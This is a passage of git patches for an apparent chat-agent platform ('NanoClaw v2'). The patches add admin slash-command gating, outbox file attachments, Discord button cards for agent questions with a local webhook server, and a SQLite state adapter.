command: ${cmdInfo.command} (msg: ${msg.id})`); + commandIds.push(msg.id); + continue; + } + + if (cmdInfo.category === 'admin') { + if (!adminUserId || cmdInfo.senderId !== adminUserId) { + // Not admin — send error, mark completed + log(`Admin command denied: ${cmdInfo.command} from ${cmdInfo.senderId} (msg: ${msg.id})`); + writeMessageOut({ + id: generateId(), + kind: 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, + content: JSON.stringify({ text: `Permission denied: ${cmdInfo.command} requires admin access.` }), + }); + commandIds.push(msg.id); + continue; + } + // Admin user — format as system command + normalMessages.push(msg); + continue; + } + + // passthrough or none + normalMessages.push(msg); + } + + // Mark filtered/denied command messages as completed immediately + if (commandIds.length > 0) { + markCompleted(commandIds); + } + + // If all messages were filtered commands, skip processing + if (normalMessages.length === 0) { + // Mark remaining processing IDs as completed + const remainingIds = ids.filter((id) => !commandIds.includes(id)); + if (remainingIds.length > 0) markCompleted(remainingIds); + log(`All ${messages.length} message(s) were commands, skipping query`); + continue; + } + + // Format messages: passthrough commands get raw text, others get XML + const prompt = formatMessagesWithCommands(normalMessages); + + log(`Processing ${normalMessages.length} message(s), kinds: ${[...new Set(normalMessages.map((m) => m.kind))].join(',')}`); // Set routing context as env vars for MCP tools setRoutingEnv(routing, config.env); @@ -69,8 +129,9 @@ export async function runPollLoop(config: PollLoopConfig): Promise { }); // Process the query while concurrently polling for new messages + const processingIds = ids.filter((id) => !commandIds.includes(id)); try { - const result = await processQuery(query, routing, config, ids); + const result = await processQuery(query, routing, config, processingIds); if (result.sessionId) sessionId = result.sessionId; if (result.resumeAt) resumeAt = result.resumeAt; } catch (err) { @@ -86,11 +147,55 @@ export async function runPollLoop(config: PollLoopConfig): Promise { }); } - markCompleted(ids); + markCompleted(processingIds); log(`Completed ${ids.length} message(s)`); } } +/** + * Format messages, handling passthrough commands differently. + * Passthrough commands (e.g., /foo) are sent raw (no XML wrapping). + * Admin commands from authorized users are formatted as system commands. + * Normal messages get standard XML formatting. + */ +function formatMessagesWithCommands(messages: MessageInRow[]): string { + // Check if any message is a passthrough command + const parts: string[] = []; + const normalBatch: MessageInRow[] = []; + + for (const msg of messages) { + if (msg.kind === 'chat' || msg.kind === 'chat-sdk') { + const cmdInfo = categorizeMessage(msg); + if (cmdInfo.category === 'passthrough') { + // Flush normal batch first + if (normalBatch.length > 0) { + parts.push(formatMessages(normalBatch)); + normalBatch.length = 0; + } + // Pass raw command text (no XML wrapping) + parts.push(cmdInfo.text); + continue; + } + if (cmdInfo.category === 'admin') { + // Format admin command as a system command block + if (normalBatch.length > 0) { + parts.push(formatMessages(normalBatch)); + normalBatch.length = 0; + } + parts.push(`[SYSTEM COMMAND: ${cmdInfo.command}]\n${cmdInfo.text}`); + continue; + } + } + normalBatch.push(msg); + } + + if (normalBatch.length > 0) { + parts.push(formatMessages(normalBatch)); + } + + return parts.join('\n\n'); +} + interface QueryResult { sessionId?: string; resumeAt?: string; diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index 0bd5edd..56eb8f0 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -34,10 +34,17 @@ export interface InboundMessage { timestamp: string; } +/** A file attachment to deliver alongside a message. */ +export interface OutboundFile { + filename: string; + data: Buffer; +} + /** Outbound message from host to adapter. */ export interface OutboundMessage { kind: string; content: unknown; // parsed JSON from messages_out + files?: OutboundFile[]; // file attachments from the session outbox } /** Discovered conversation info (from syncConversations). */ diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 50b6f27..853e2c4 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -104,31 +104,33 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter if (gatewayAbort?.signal.aborted) return; // Capture the long-running listener promise via waitUntil let listenerPromise: Promise | undefined; - adapter - .startGatewayListener!( - { waitUntil: (p: Promise) => { listenerPromise = p; } }, - 24 * 60 * 60 * 1000, - gatewayAbort!.signal, - ) - .then(() => { - // startGatewayListener resolves immediately with a Response; - // the actual work is in the listenerPromise passed to waitUntil - if (listenerPromise) { - listenerPromise - .then(() => { - if (!gatewayAbort?.signal.aborted) { - log.info('Gateway listener expired, restarting', { adapter: adapter.name }); - startGateway(); - } - }) - .catch((err) => { - if (!gatewayAbort?.signal.aborted) { - log.error('Gateway listener error, restarting in 5s', { adapter: adapter.name, err }); - setTimeout(startGateway, 5000); - } - }); - } - }); + adapter.startGatewayListener!( + { + waitUntil: (p: Promise) => { + listenerPromise = p; + }, + }, + 24 * 60 * 60 * 1000, + gatewayAbort!.signal, + ).then(() => { + // startGatewayListener resolves immediately with a Response; + // the actual work is in the listenerPromise passed to waitUntil + if (listenerPromise) { + listenerPromise + .then(() => { + if (!gatewayAbort?.signal.aborted) { + log.info('Gateway listener expired, restarting', { adapter: adapter.name }); + startGateway(); + } + }) + .catch((err) => { + if (!gatewayAbort?.signal.aborted) { + log.error('Gateway listener error, restarting in 5s', { adapter: adapter.name, err }); + setTimeout(startGateway, 5000); + } + }); + } + }); }; startGateway(); log.info('Gateway listener started', { adapter: adapter.name }); @@ -156,7 +158,17 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter // Normal message const text = (content.markdown as string) || (content.text as string); if (text) { - await adapter.postMessage(tid, { markdown: text }); + // Attach files if present (FileUpload format: { data, filename }) + const fileUploads = message.files?.map((f) => ({ data: f.data, filename: f.filename })); + if (fileUploads && fileUploads.length > 0) { + await adapter.postMessage(tid, { markdown: text, files: fileUploads }); + } else { + await adapter.postMessage(tid, { markdown: text }); + } + } else if (message.files && message.files.length > 0) { + // Files only, no text + const fileUploads = message.files.map((f) => ({ data: f.data, filename: f.filename })); + await adapter.postMessage(tid, { markdown: '', files: fileUploads }); } }, diff --git a/src/delivery.ts b/src/delivery.ts index b66c9c2..246e67c 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -3,12 +3,15 @@ * Polls active session DBs for undelivered messages_out, delivers through channel adapters. */ import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; import { getRunningSessions, getActiveSessions } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; -import { openSessionDb, sessionDbPath } from './session-manager.js'; +import { openSessionDb, sessionDir } from './session-manager.js'; import { resetContainerIdleTimer } from './container-runner-v2.js'; +import type { OutboundFile } from './channels/adapter.js'; import type { Session } from './types-v2.js'; const ACTIVE_POLL_MS = 1000; @@ -21,6 +24,7 @@ export interface ChannelDeliveryAdapter { threadId: string | null, kind: string, content: string, + files?: OutboundFile[], ): Promise; setTyping?(channelType: string, platformId: string, threadId: string | null): Promise; } @@ -159,8 +163,29 @@ async function deliverMessage( return; } - await deliveryAdapter.deliver(msg.channel_type, msg.platform_id, msg.thread_id, msg.kind, msg.content); - log.info('Message delivered', { id: msg.id, channelType: msg.channel_type, platformId: msg.platform_id }); + // Read file attachments from outbox if the content declares files + let files: OutboundFile[] | undefined; + const outboxDir = path.join(sessionDir(session.agent_group_id, session.id), 'outbox', msg.id); + if (Array.isArray(content.files) && content.files.length > 0 && fs.existsSync(outboxDir)) { + files = []; + for (const filename of content.files as string[]) { + const filePath = path.join(outboxDir, filename); + if (fs.existsSync(filePath)) { + files.push({ filename, data: fs.readFileSync(filePath) }); + } else { + log.warn('Outbox file not found', { messageId: msg.id, filename }); + } + } + if (files.length === 0) files = undefined; + } + + await deliveryAdapter.deliver(msg.channel_type, msg.platform_id, msg.thread_id, msg.kind, msg.content, files); + log.info('Message delivered', { id: msg.id, channelType: msg.channel_type, platformId: msg.platform_id, fileCount: files?.length }); + + // Clean up outbox directory after successful delivery + if (fs.existsSync(outboxDir)) { + fs.rmSync(outboxDir, { recursive: true, force: true }); + } } export function stopDeliveryPolls(): void { diff --git a/src/host-sweep.ts b/src/host-sweep.ts index bcc4666..0c8ca41 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -58,7 +58,8 @@ async function sweepSession(session: Session): Promise { let db: Database.Database; try { db = new Database(dbPath); - db.pragma('journal_mode = WAL'); + db.pragma('journal_mode = DELETE'); + db.pragma('busy_timeout = 5000'); } catch { return; } @@ -125,10 +126,23 @@ async function sweepSession(session: Session): Promise { const nextRun = interval.next().toISOString(); const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + // Compute next seq from both tables (same pattern as session-manager.ts) + const nextSeq = ( + db + .prepare( + `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( + SELECT seq FROM messages_in WHERE seq IS NOT NULL + UNION ALL + SELECT seq FROM messages_out WHERE seq IS NOT NULL + )`, + ) + .get() as { next: number } + ).next; + db.prepare( - `INSERT INTO messages_in (id, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) - VALUES (?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, - ).run(newId, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) + VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, + ).run(newId, nextSeq, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); // Remove recurrence from the completed message so it doesn't spawn again db.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); diff --git a/src/index-v2.ts b/src/index-v2.ts index e4d6ec4..eca93f6 100644 --- a/src/index-v2.ts +++ b/src/index-v2.ts @@ -68,13 +68,13 @@ async function main(): Promise { // 4. Delivery adapter bridge — dispatches to channel adapters setDeliveryAdapter({ - async deliver(channelType, platformId, threadId, kind, content) { + async deliver(channelType, platformId, threadId, kind, content, files) { const adapter = getChannelAdapter(channelType); if (!adapter) { log.warn('No adapter for channel type', { channelType }); return; } - await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); + await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); }, async setTyping(channelType, platformId, threadId) { const adapter = getChannelAdapter(channelType); From c31bb02c06c8d767fe2c99fc95d0d17806483408 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 03:26:16 +0300 Subject: [PATCH 019/295] v2 phase 5: pending questions with interactive cards End-to-end ask_user_question flow: - Agent MCP tool writes question card to messages_out - Host delivery creates pending_questions row, delivers as Discord Card with buttons - Local webhook server receives Gateway INTERACTION_CREATE events - Acknowledges interaction + updates card to show selected answer - Routes response back to session DB as system message - MCP tool poll picks up response and returns to agent Key fixes: - Poll loop now skips system messages (reserved for MCP tool responses) - Gateway listener uses webhookUrl forwarding mode for interaction support - Button custom_id encodes questionId + option text for self-contained routing Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/poll-loop.ts | 13 +- src/channels/adapter.ts | 3 + src/channels/channel-registry.test.ts | 2 + src/channels/chat-sdk-bridge.ts | 150 +++++++++++++++++++++++- src/channels/discord-v2.ts | 2 +- src/delivery.ts | 23 +++- src/index-v2.ts | 46 ++++++++ 7 files changed, 233 insertions(+), 6 deletions(-) diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index aca3766..474be8b 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -38,8 +38,16 @@ export async function runPollLoop(config: PollLoopConfig): Promise { let sessionId: string | undefined; let resumeAt: string | undefined; + let pollCount = 0; while (true) { - const messages = getPendingMessages(); + // Skip system messages — they're responses for MCP tools (e.g., ask_user_question) + const messages = getPendingMessages().filter((m) => m.kind !== 'system'); + pollCount++; + + // Periodic heartbeat so we know the loop is alive + if (pollCount % 30 === 0) { + log(`Poll heartbeat (${pollCount} iterations, ${messages.length} pending)`); + } if (messages.length === 0) { await sleep(POLL_INTERVAL_MS); @@ -210,7 +218,8 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: const pollHandle = setInterval(() => { if (done) return; - const newMessages = getPendingMessages(); + // Skip system messages — they're responses for MCP tools (e.g., ask_user_question) + const newMessages = getPendingMessages().filter((m) => m.kind !== 'system'); if (newMessages.length > 0) { const newIds = newMessages.map((m) => m.id); markProcessing(newIds); diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index 56eb8f0..615c28e 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -24,6 +24,9 @@ export interface ChannelSetup { /** Called when the adapter discovers metadata about a conversation. */ onMetadata(platformId: string, name?: string, isGroup?: boolean): void; + + /** Called when a user clicks a button/action in a card (e.g., ask_user_question response). */ + onAction(questionId: string, selectedOption: string, userId: string): void; } /** Inbound message from adapter to host. */ diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index d78761b..1903791 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -103,6 +103,7 @@ describe('channel registry', () => { conversations: [], onInbound: () => {}, onMetadata: () => {}, + onAction: () => {}, })); // Should not have any active adapters for channels with null factory returns @@ -205,6 +206,7 @@ describe('channel + router integration', () => { conversations: [], onInbound: () => {}, onMetadata: () => {}, + onAction: () => {}, })); // Set up delivery adapter bridge (same pattern as index-v2.ts) diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 853e2c4..e3f486b 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -4,7 +4,9 @@ * * Used by Discord, Slack, and other Chat SDK-supported platforms. */ -import { Chat, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage } from 'chat'; +import http from 'http'; + +import { Chat, Card, CardText, Actions, Button, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage } from 'chat'; import { createMemoryState } from '@chat-adapter/state-memory'; import { log } from '../log.js'; @@ -16,12 +18,15 @@ interface GatewayAdapter extends Adapter { options: { waitUntil?: (task: Promise) => void }, durationMs?: number, abortSignal?: AbortSignal, + webhookUrl?: string, ): Promise; } export interface ChatSdkBridgeConfig { adapter: GatewayAdapter; concurrency?: ConcurrencyStrategy; + /** Bot token for authenticating forwarded Gateway events (required for interaction handling). */ + botToken?: string; } export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { @@ -87,6 +92,17 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter await thread.subscribe(); }); + // Handle button clicks (ask_user_question responses) + chat.onAction(async (event) => { + if (!event.actionId.startsWith('ncq:')) return; + const parts = event.actionId.split(':'); + if (parts.length < 3) return; + const questionId = parts[1]; + const selectedOption = event.value || ''; + const userId = event.user?.userId || ''; + setupConfig.onAction(questionId, selectedOption, userId); + }); + await chat.initialize(); // Subscribe registered conversations (after initialize connects state) @@ -100,6 +116,10 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter // Start Gateway listener for adapters that support it (e.g., Discord) if (adapter.startGatewayListener) { gatewayAbort = new AbortController(); + + // Start local HTTP server to receive forwarded Gateway events (including interactions) + const webhookUrl = await startLocalWebhookServer(adapter, setupConfig, config.botToken); + const startGateway = () => { if (gatewayAbort?.signal.aborted) return; // Capture the long-running listener promise via waitUntil @@ -112,6 +132,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter }, 24 * 60 * 60 * 1000, gatewayAbort!.signal, + webhookUrl, ).then(() => { // startGatewayListener resolves immediately with a Response; // the actual work is in the listenerPromise passed to waitUntil @@ -155,6 +176,25 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter return; } + // Ask question card — render as Card with buttons + if (content.type === 'ask_question' && content.questionId && content.options) { + const questionId = content.questionId as string; + const options = content.options as string[]; + const card = Card({ + title: '❓ Question', + children: [ + CardText(content.question as string), + Actions( + options.map((opt) => + Button({ id: `ncq:${questionId}:${opt}`, label: opt, value: opt }), + ), + ), + ], + }); + await adapter.postMessage(tid, { card, fallbackText: `${content.question}\nOptions: ${options.join(', ')}` }); + return; + } + // Normal message const text = (content.markdown as string) || (content.text as string); if (text) { @@ -199,3 +239,111 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter }, }; } + +/** + * Start a local HTTP server to receive forwarded Gateway events. + * This is needed because the Gateway listener in webhook-forwarding mode + * sends ALL raw events (including INTERACTION_CREATE for button clicks) + * to the webhookUrl, which we handle here. + */ +function startLocalWebhookServer(adapter: GatewayAdapter, setupConfig: ChannelSetup, botToken?: string): Promise { + return new Promise((resolve) => { + const server = http.createServer((req, res) => { + const chunks: Buffer[] = []; + req.on('data', (chunk: Buffer) => chunks.push(chunk)); + req.on('end', () => { + const body = Buffer.concat(chunks).toString(); + handleForwardedEvent(body, adapter, setupConfig, botToken) + .then(() => { + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end('{"ok":true}'); + }) + .catch((err) => { + log.error('Webhook server error', { err }); + res.writeHead(500); + res.end('{"error":"internal"}'); + }); + }); + }); + + server.listen(0, '127.0.0.1', () => { + const addr = server.address() as { port: number }; + const url = `http://127.0.0.1:${addr.port}/webhook`; + log.info('Local webhook server started', { port: addr.port }); + resolve(url); + }); + }); +} + +async function handleForwardedEvent(body: string, adapter: GatewayAdapter, setupConfig: ChannelSetup, botToken?: string): Promise { + let event: { type: string; data: Record }; + try { + event = JSON.parse(body); + } catch { + return; + } + + // Handle interaction events (button clicks) — not handled by adapter's handleForwardedGatewayEvent + if (event.type === 'GATEWAY_INTERACTION_CREATE' && event.data) { + const interaction = event.data; + // type 3 = MessageComponent (button/select) + if (interaction.type === 3) { + const customId = (interaction.data as Record)?.custom_id as string; + const user = (interaction.member as Record)?.user as Record | undefined; + const interactionId = interaction.id as string; + const interactionToken = interaction.token as string; + + // Parse the selected option from custom_id + let questionId: string | undefined; + let selectedOption: string | undefined; + if (customId?.startsWith('ncq:')) { + const colonIdx = customId.indexOf(':', 4); // after "ncq:" + if (colonIdx !== -1) { + questionId = customId.slice(4, colonIdx); + selectedOption = customId.slice(colonIdx + 1); + } + } + + // Update the card to show the selected answer and remove buttons + const originalEmbeds = ((interaction.message as Record)?.embeds as Array>) || []; + const originalDescription = (originalEmbeds[0]?.description as string) || ''; + try { + await fetch(`https://discord.com/api/v10/interactions/${interactionId}/${interactionToken}/callback`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + type: 7, // UPDATE_MESSAGE — acknowledge + update in one call + data: { + embeds: [ + { + title: '❓ Question', + description: `${originalDescription}\n\n✅ **${selectedOption || customId}**`, + }, + ], + components: [], // remove buttons + }, + }), + }); + } catch (err) { + log.error('Failed to update interaction', { err }); + } + + // Dispatch to host + if (questionId && selectedOption) { + setupConfig.onAction(questionId, selectedOption, user?.id || ''); + } + return; + } + } + + // Forward other events to the adapter's webhook handler for normal processing + const fakeRequest = new Request('http://localhost/webhook', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'x-discord-gateway-token': botToken || '', + }, + body, + }); + await adapter.handleWebhook(fakeRequest, {}); +} diff --git a/src/channels/discord-v2.ts b/src/channels/discord-v2.ts index 5eb32ed..01ed4c5 100644 --- a/src/channels/discord-v2.ts +++ b/src/channels/discord-v2.ts @@ -17,6 +17,6 @@ registerChannelAdapter('discord', { publicKey: env.DISCORD_PUBLIC_KEY, applicationId: env.DISCORD_APPLICATION_ID, }); - return createChatSdkBridge({ adapter: discordAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: discordAdapter, concurrency: 'concurrent', botToken: env.DISCORD_BOT_TOKEN }); }, }); diff --git a/src/delivery.ts b/src/delivery.ts index 246e67c..8d1c268 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -6,7 +6,7 @@ import Database from 'better-sqlite3'; import fs from 'fs'; import path from 'path'; -import { getRunningSessions, getActiveSessions } from './db/sessions.js'; +import { getRunningSessions, getActiveSessions, createPendingQuestion } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; import { openSessionDb, sessionDir } from './session-manager.js'; @@ -157,6 +157,20 @@ async function deliverMessage( return; } + // Track pending questions for ask_user_question flow + if (content.type === 'ask_question' && content.questionId) { + createPendingQuestion({ + question_id: content.questionId, + session_id: session.id, + message_out_id: msg.id, + platform_id: msg.platform_id, + channel_type: msg.channel_type, + thread_id: msg.thread_id, + created_at: new Date().toISOString(), + }); + log.info('Pending question created', { questionId: content.questionId, sessionId: session.id }); + } + // Channel delivery if (!msg.channel_type || !msg.platform_id) { log.warn('Message missing routing fields', { id: msg.id }); @@ -180,7 +194,12 @@ async function deliverMessage( } await deliveryAdapter.deliver(msg.channel_type, msg.platform_id, msg.thread_id, msg.kind, msg.content, files); - log.info('Message delivered', { id: msg.id, channelType: msg.channel_type, platformId: msg.platform_id, fileCount: files?.length }); + log.info('Message delivered', { + id: msg.id, + channelType: msg.channel_type, + platformId: msg.platform_id, + fileCount: files?.length, + }); // Clean up outbox directory after successful delivery if (fs.existsSync(outboxDir)) { diff --git a/src/index-v2.ts b/src/index-v2.ts index eca93f6..a72540b 100644 --- a/src/index-v2.ts +++ b/src/index-v2.ts @@ -14,6 +14,9 @@ import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runti import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; import { startHostSweep, stopHostSweep } from './host-sweep.js'; import { routeInbound } from './router-v2.js'; +import { getPendingQuestion, deletePendingQuestion, getSession } from './db/sessions.js'; +import { writeSessionMessage } from './session-manager.js'; +import { wakeContainer } from './container-runner-v2.js'; import { log } from './log.js'; // Channel imports — each triggers self-registration @@ -63,6 +66,11 @@ async function main(): Promise { isGroup, }); }, + onAction(questionId, selectedOption, userId) { + handleQuestionResponse(questionId, selectedOption, userId).catch((err) => { + log.error('Failed to handle question response', { questionId, err }); + }); + }, }; }); @@ -116,6 +124,44 @@ function buildConversationConfigs(channelType: string): ConversationConfig[] { return configs; } +/** Handle a user's response to an ask_user_question card. */ +async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { + const pq = getPendingQuestion(questionId); + if (!pq) { + log.warn('Pending question not found (may have expired)', { questionId }); + return; + } + + const session = getSession(pq.session_id); + if (!session) { + log.warn('Session not found for pending question', { questionId, sessionId: pq.session_id }); + deletePendingQuestion(questionId); + return; + } + + // Write the response to the session DB as a system message + writeSessionMessage(session.agent_group_id, session.id, { + id: `qr-${questionId}-${Date.now()}`, + kind: 'system', + timestamp: new Date().toISOString(), + platformId: pq.platform_id, + channelType: pq.channel_type, + threadId: pq.thread_id, + content: JSON.stringify({ + type: 'question_response', + questionId, + selectedOption, + userId, + }), + }); + + deletePendingQuestion(questionId); + log.info('Question response routed', { questionId, selectedOption, sessionId: session.id }); + + // Wake the container so the MCP tool's poll picks up the response + await wakeContainer(session); +} + /** Graceful shutdown. */ async function shutdown(signal: string): Promise { log.info('Shutdown signal received', { signal }); From 8a06b01646bd12566e320d0c1991ca2ddf9eb510 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 03:58:35 +0300 Subject: [PATCH 020/295] v2: SQLite state adapter, admin commands, compact feedback MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Replace in-memory Chat SDK state with SqliteStateAdapter — thread subscriptions now persist across restarts - Add migration 002 for chat_sdk_kv, subscriptions, locks, lists tables - Handle /clear in agent-runner (reset sessionId) — SDK has supportsNonInteractive:false for this command - Pass /compact, /context, /cost, /files through to SDK as admin commands - Skip admin commands in follow-up poll so they start fresh queries - Emit compact_boundary events as user-visible feedback messages - Pass NANOCLAW_ADMIN_USER_ID and NANOCLAW_ASSISTANT_NAME to containers Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/formatter.ts | 2 +- container/agent-runner/src/poll-loop.ts | 44 +++-- .../agent-runner/src/providers/claude.ts | 4 + src/channels/chat-sdk-bridge.ts | 55 +++--- src/container-runner-v2.ts | 12 ++ src/db/db-v2.test.ts | 2 +- src/db/migrations/002-chat-sdk-state.ts | 36 ++++ src/db/migrations/index.ts | 3 +- src/host-sweep.ts | 12 +- src/state-sqlite.ts | 160 ++++++++++++++++++ 10 files changed, 283 insertions(+), 47 deletions(-) create mode 100644 src/db/migrations/002-chat-sdk-state.ts create mode 100644 src/state-sqlite.ts diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index 7324f1b..8b0b1e8 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -9,7 +9,7 @@ import type { MessageInRow } from './db/messages-in.js'; */ export type CommandCategory = 'admin' | 'filtered' | 'passthrough' | 'none'; -const ADMIN_COMMANDS = new Set(['/remote-control', '/clear', '/compact']); +const ADMIN_COMMANDS = new Set(['/remote-control', '/clear', '/compact', '/context', '/cost', '/files']); const FILTERED_COMMANDS = new Set(['/help', '/login', '/logout', '/doctor', '/config']); export interface CommandInfo { diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 474be8b..21fc8e1 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -81,7 +81,6 @@ export async function runPollLoop(config: PollLoopConfig): Promise { if (cmdInfo.category === 'admin') { if (!adminUserId || cmdInfo.senderId !== adminUserId) { - // Not admin — send error, mark completed log(`Admin command denied: ${cmdInfo.command} from ${cmdInfo.senderId} (msg: ${msg.id})`); writeMessageOut({ id: generateId(), @@ -94,7 +93,24 @@ export async function runPollLoop(config: PollLoopConfig): Promise { commandIds.push(msg.id); continue; } - // Admin user — format as system command + // Handle admin commands directly + if (cmdInfo.command === '/clear') { + log('Clearing session (resetting sessionId)'); + sessionId = undefined; + resumeAt = undefined; + writeMessageOut({ + id: generateId(), + kind: 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, + content: JSON.stringify({ text: 'Session cleared.' }), + }); + commandIds.push(msg.id); + continue; + } + + // Other admin commands — pass through to agent normalMessages.push(msg); continue; } @@ -174,25 +190,16 @@ function formatMessagesWithCommands(messages: MessageInRow[]): string { for (const msg of messages) { if (msg.kind === 'chat' || msg.kind === 'chat-sdk') { const cmdInfo = categorizeMessage(msg); - if (cmdInfo.category === 'passthrough') { + if (cmdInfo.category === 'passthrough' || cmdInfo.category === 'admin') { // Flush normal batch first if (normalBatch.length > 0) { parts.push(formatMessages(normalBatch)); normalBatch.length = 0; } - // Pass raw command text (no XML wrapping) + // Pass raw command text (no XML wrapping) — SDK handles it natively parts.push(cmdInfo.text); continue; } - if (cmdInfo.category === 'admin') { - // Format admin command as a system command block - if (normalBatch.length > 0) { - parts.push(formatMessages(normalBatch)); - normalBatch.length = 0; - } - parts.push(`[SYSTEM COMMAND: ${cmdInfo.command}]\n${cmdInfo.text}`); - continue; - } } normalBatch.push(msg); } @@ -218,8 +225,15 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: const pollHandle = setInterval(() => { if (done) return; - // Skip system messages — they're responses for MCP tools (e.g., ask_user_question) - const newMessages = getPendingMessages().filter((m) => m.kind !== 'system'); + // Skip system messages (MCP tool responses) and admin commands (need fresh query) + const newMessages = getPendingMessages().filter((m) => { + if (m.kind === 'system') return false; + if (m.kind === 'chat' || m.kind === 'chat-sdk') { + const cmd = categorizeMessage(m); + if (cmd.category === 'admin') return false; + } + return true; + }); if (newMessages.length > 0) { const newIds = newMessages.map((m) => m.id); markProcessing(newIds); diff --git a/container/agent-runner/src/providers/claude.ts b/container/agent-runner/src/providers/claude.ts index e17c5c5..adfd0e2 100644 --- a/container/agent-runner/src/providers/claude.ts +++ b/container/agent-runner/src/providers/claude.ts @@ -212,6 +212,10 @@ export class ClaudeProvider implements AgentProvider { yield { type: 'error', message: 'API retry', retryable: true }; } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'rate_limit_event') { yield { type: 'error', message: 'Rate limit', retryable: false, classification: 'quota' }; + } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'compact_boundary') { + const meta = (message as { compact_metadata?: { pre_tokens?: number } }).compact_metadata; + const detail = meta?.pre_tokens ? ` (${meta.pre_tokens.toLocaleString()} tokens compacted)` : ''; + yield { type: 'result', text: `Context compacted${detail}.` }; } else if (message.type === 'system' && (message as { subtype?: string }).subtype === 'task_notification') { const tn = message as { summary?: string }; yield { type: 'progress', message: tn.summary || 'Task notification' }; diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index e3f486b..5ab9d88 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -6,10 +6,18 @@ */ import http from 'http'; -import { Chat, Card, CardText, Actions, Button, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage } from 'chat'; -import { createMemoryState } from '@chat-adapter/state-memory'; - +import { + Chat, + Card, + CardText, + Actions, + Button, + type Adapter, + type ConcurrencyStrategy, + type Message as ChatMessage, +} from 'chat'; import { log } from '../log.js'; +import { SqliteStateAdapter } from '../state-sqlite.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig, InboundMessage } from './adapter.js'; /** Adapter with optional gateway support (e.g., Discord). */ @@ -32,7 +40,7 @@ export interface ChatSdkBridgeConfig { export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { const { adapter } = config; let chat: Chat; - let state: ReturnType; + let state: SqliteStateAdapter; let setupConfig: ChannelSetup; let conversations: Map; let gatewayAbort: AbortController | null = null; @@ -62,7 +70,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter 